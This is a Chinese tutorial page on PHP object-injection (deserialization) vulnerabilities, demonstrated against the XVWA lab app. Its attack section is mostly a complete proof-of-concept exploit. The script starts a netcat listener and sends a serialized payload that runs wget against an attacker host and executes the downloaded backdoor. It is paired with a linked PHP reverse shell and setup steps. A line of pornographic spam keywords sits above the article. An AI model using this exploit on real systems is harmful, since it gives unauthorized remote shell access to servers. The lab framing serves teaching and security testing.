欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

PHP序列化/對(duì)象注入漏洞分析

 更新時(shí)間:2016年04月18日 16:51:39   投稿:lijiao  
這篇文章主要為大家詳細(xì)介紹了PHP序列化/對(duì)象注入漏洞分析,PHP序列化/對(duì)象注入漏洞的利用,感興趣的小伙伴們可以參考一下

本文是關(guān)于PHP序列化/對(duì)象注入漏洞分析的短篇,里面講述了如何獲取主機(jī)的遠(yuǎn)程shell。

如果你想自行測(cè)試這個(gè)漏洞,你可以通過(guò) XVWA 和 Kevgir 進(jìn)行操作。

漏洞利用的第一步,我們開(kāi)始測(cè)試目標(biāo)應(yīng)用是否存在PHP序列化。為了輔助測(cè)試,我們使用了Burpsuite的SuperSerial插件,下載地址在 這里 。它會(huì)被動(dòng)檢測(cè)PHP和Java序列化的存在。

分析
我們檢測(cè)到了應(yīng)用里使用了PHP序列化,所以我們可以開(kāi)始確認(rèn)應(yīng)用代碼里是否含有遠(yuǎn)程代碼執(zhí)行漏洞。需要注意的是,序列化對(duì)象是從參數(shù)“r”取來(lái)的:

$var1=unserialize($_REQUEST['r']);
然后再進(jìn)行反序列化和eval:

eval($this->inject);
接著,執(zhí)行:

echo "<br/>".$var1[0]." - ".$var1[1];
有了這些,如果我們繞過(guò)了參數(shù)r的PHP序列化對(duì)象,那么就可以獲得代碼執(zhí)行漏洞了!

< ?php 
  error_reporting(E_ALL);
  class PHPObjectInjection{
    public $inject;
 
    function __construct(){
 
    }
 
    function __wakeup(){
      if(isset($this->inject)){
        eval($this->inject);
      }
    }
  }
//?r=a:2:{i:0;s:4:"XVWA";i:1;s:33:"XtremeVulnerable Web Application";}
  if(isset($_REQUEST['r'])){ 
 
    $var1=unserialize($_REQUEST['r']);
    
 
    if(is_array($var1)){ 
      echo "
".$var1[0]." - ".$var1[1];
    }
  }else{
    echo "parameter is missing";
  }
? >

漏洞利用
為了利用這個(gè)漏洞,我們創(chuàng)建了一個(gè)簡(jiǎn)單的PHP腳本來(lái)自動(dòng)生成PHP序列化payload,以及在目標(biāo)遠(yuǎn)程主機(jī)上運(yùn)行我們想要的命令。然后,我創(chuàng)建了一個(gè)通用的PHP反彈shell,下載地址如下:

http://pentestmonkey.net/tools/php-reverse-shell/php-reverse-shell-1.0.tar.gz
注意: 你需要把這個(gè)文件傳到web服務(wù)器上,改動(dòng)反彈shell腳本里面的本地ip和端口,以及下面的利用代碼:

<?php 
/*
PHP Object Injection PoC Exploit by 1N3@CrowdShield - https://crowdshield.com
A simple PoC to exploit PHP ObjectInjections flaws and gain remote shell access. 
Shouts to @jstnkndy @yappare for theassist!
NOTE: This requireshttp://pentestmonkey.net/tools/php-reverse-shell/php-reverse-shell-1.0.tar.gzsetup on a remote host with a connect back IP configured
*/
print"==============================================================================\r\n";
print "PHP Object Injection PoCExploit by 1N3 @CrowdShield - https://crowdshield.com\r\n";
print"==============================================================================\r\n";
print "[+] Generating serializedpayload...[OK]\r\n";
print "[+] Launching reverselistener...[OK]\r\n";
system('gnome-terminal -x sh -c \'nc -lvvp1234\'');
class PHPObjectInjection
{
  //CHANGE URL/FILENAME TO MATCH YOUR SETUP
 public $inject = "system('wget http://yourhost/phpobjbackdoor.txt-O phpobjbackdoor.php && php phpobjbackdoor.php');";
}
 
$url ='http://targeturl/xvwa/vulnerabilities/php_object_injection/?r='; // CHANGE TOTARGET URL/PARAMETER
$url = $url . urlencode(serialize(newPHPObjectInjection));
print "[+] Sendingexploit...[OK]\r\n";
print "[+] Dropping down tointeractive shell...[OK]\r\n";
print"==============================================================================\r\n";
$response =file_get_contents("$url");
 
? >

Demo
現(xiàn)在咱們的利用腳本已經(jīng)就緒,我們可以執(zhí)行它來(lái)得到遠(yuǎn)程主機(jī)上的反彈shell,用來(lái)遠(yuǎn)程執(zhí)行命令!

以上就是本文的全部?jī)?nèi)容,希望對(duì)大家學(xué)習(xí)php程序設(shè)計(jì)有所幫助。

相關(guān)文章

  • PHP編程獲取各個(gè)時(shí)間段具體時(shí)間的方法

    PHP編程獲取各個(gè)時(shí)間段具體時(shí)間的方法

    這篇文章主要介紹了PHP編程獲取各個(gè)時(shí)間段具體時(shí)間的方法,結(jié)合實(shí)例形式分析了基于date與strtotime函數(shù)進(jìn)行日期時(shí)間運(yùn)算的相關(guān)操作技巧,需要的朋友可以參考下
    2017-05-05
  • PHP實(shí)現(xiàn)處理三級(jí)分類(lèi)數(shù)據(jù)的示例代碼

    PHP實(shí)現(xiàn)處理三級(jí)分類(lèi)數(shù)據(jù)的示例代碼

    這篇文章主要為大家詳細(xì)介紹了如何利用PHP實(shí)現(xiàn)處理三級(jí)分類(lèi)數(shù)據(jù),文中的示例代碼講解詳細(xì),具有一定的借鑒價(jià)值,有需要的小伙伴可以參考一下
    2024-02-02
  • 解析PHP提交后跳轉(zhuǎn)

    解析PHP提交后跳轉(zhuǎn)

    本篇文章是對(duì)PHP提交后跳轉(zhuǎn)進(jìn)行了詳細(xì)的分析介紹,需要的朋友參考下
    2013-06-06
  • php基于base64解碼圖片與加密圖片還原實(shí)例

    php基于base64解碼圖片與加密圖片還原實(shí)例

    這篇文章主要介紹了php基于base64解碼圖片與加密圖片還原的方法,以實(shí)例形式講述了base64_decode函數(shù)的用法,需要的朋友可以參考下
    2014-11-11
  • PHP中HTTP方式下的Gzip壓縮傳輸方法舉偶

    PHP中HTTP方式下的Gzip壓縮傳輸方法舉偶

    PHP中HTTP方式下的Gzip壓縮傳輸方法舉偶...
    2007-02-02
  • PHP中數(shù)組轉(zhuǎn)換為SimpleXML教程

    PHP中數(shù)組轉(zhuǎn)換為SimpleXML教程

    在本篇文章中我們給大家總結(jié)了一篇關(guān)于PHP中數(shù)組轉(zhuǎn)換為SimpleXML教程內(nèi)容,有需要的朋友們跟著學(xué)習(xí)參考下。
    2019-01-01
  • PHP安全防范技巧分享

    PHP安全防范技巧分享

    這里簡(jiǎn)單介紹一些基本編程要點(diǎn), 相對(duì)系統(tǒng)安全來(lái)說(shuō),php安全防范更多要求編程人員對(duì)用戶輸入的各種參數(shù)能更細(xì)心.
    2011-11-11
  • PHP偽協(xié)議基本原理介紹

    PHP偽協(xié)議基本原理介紹

    這篇文章主要介紹了PHP偽協(xié)議,php中有很多封裝協(xié)議,最常見(jiàn)的如file協(xié)議,php協(xié)議,data協(xié)議,zip和phar協(xié)議等等
    2022-11-11
  • PHP函數(shù)常用用法小結(jié)

    PHP函數(shù)常用用法小結(jié)

    由于PHP是一種解釋型語(yǔ)言,所以函數(shù)編寫(xiě)和調(diào)用很是方便??偨Y(jié)一下魔術(shù)函數(shù)、嵌套函數(shù)、匿名函數(shù)、函數(shù)調(diào)用方式和函數(shù)參數(shù)使用等。
    2010-02-02
  • PHP實(shí)現(xiàn)的簡(jiǎn)單日歷類(lèi)

    PHP實(shí)現(xiàn)的簡(jiǎn)單日歷類(lèi)

    這篇文章主要介紹了PHP實(shí)現(xiàn)的簡(jiǎn)單日歷類(lèi),可實(shí)現(xiàn)簡(jiǎn)單的日期顯示功能,并高亮標(biāo)注當(dāng)前日期,具有一定的實(shí)用價(jià)值,需要的朋友可以參考下
    2014-11-11

最新評(píng)論